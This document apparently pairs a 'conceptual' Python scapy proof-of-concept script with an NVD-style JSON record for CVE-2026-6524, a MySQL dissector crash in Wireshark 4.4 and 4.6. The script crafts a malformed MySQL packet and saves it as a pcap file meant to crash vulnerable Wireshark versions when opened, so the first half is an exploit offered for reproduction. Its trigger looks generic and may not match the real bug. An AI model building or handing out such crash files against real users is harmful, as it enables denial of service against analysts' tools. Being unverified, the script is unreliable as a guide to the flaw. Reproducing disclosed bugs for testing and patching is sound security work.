CVE-2026-6524

# PoC Code for CVE-2026-6524 (Conceptual) # This script generates a pcap file containing a malformed MySQL packet. # Opening this file in a vulnerable Wireshark version should trigger a crash. from scapy.all import * # Construct a malformed MySQL packet # Standard MySQL packet: [Length (3 bytes)][ID (1 byte)][Payload] # We set an inconsistent length or payload to trigger the dissector bug malformed_payload = b"\x00\x00\x00" # Length 0 but with payload follows malformed_payload += b"\x01" # Sequence ID malformed_payload += b"\xFF" * 100 # Unexpected payload data # Encapsulate in TCP/IP ip_packet = IP(dst="127.0.0.1", src="192.168.1.1") tcp_packet = TCP(sport=3306, dport=54321) malformed_pkt = ip_packet / tcp_packet / Raw(load=malformed_payload) # Save to pcap file wrpcap("cve_2026_6524_crash.pcap", [malformed_pkt]) print("[+] PoC file generated: cve_2026_6524_crash.pcap") print("[+] Open this file with Wireshark 4.4.x - 4.6.x to reproduce the DoS.")

{"cve": {"id": "CVE-2026-6524", "sourceIdentifier": "[email protected]", "published": "2026-04-30T07:16:39.637", "lastModified": "2026-05-01T19:27:14.617", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MySQL protocol dissector crash in Wireshark 4.6.0 to 4.6.4 and 4.4.0 to 4.4.14 allows denial of service"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-824"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndIncluding": "4.4.14", "matchCriteriaId": "77CF79F1-B53C-40A7-9570-A192D5A85ED6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:wireshark:wireshark:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.6.0", "versionEndIncluding": "4.6.4", "matchCriteriaId": "B52139AE-161F-406A-B28D-F874CE8B68B6"}]}]}], "references": [{"url": "https://gitlab.com/wireshark/wireshark/-/work_items/21172", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://www.wireshark.org/security/wnpa-sec-2026-37.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}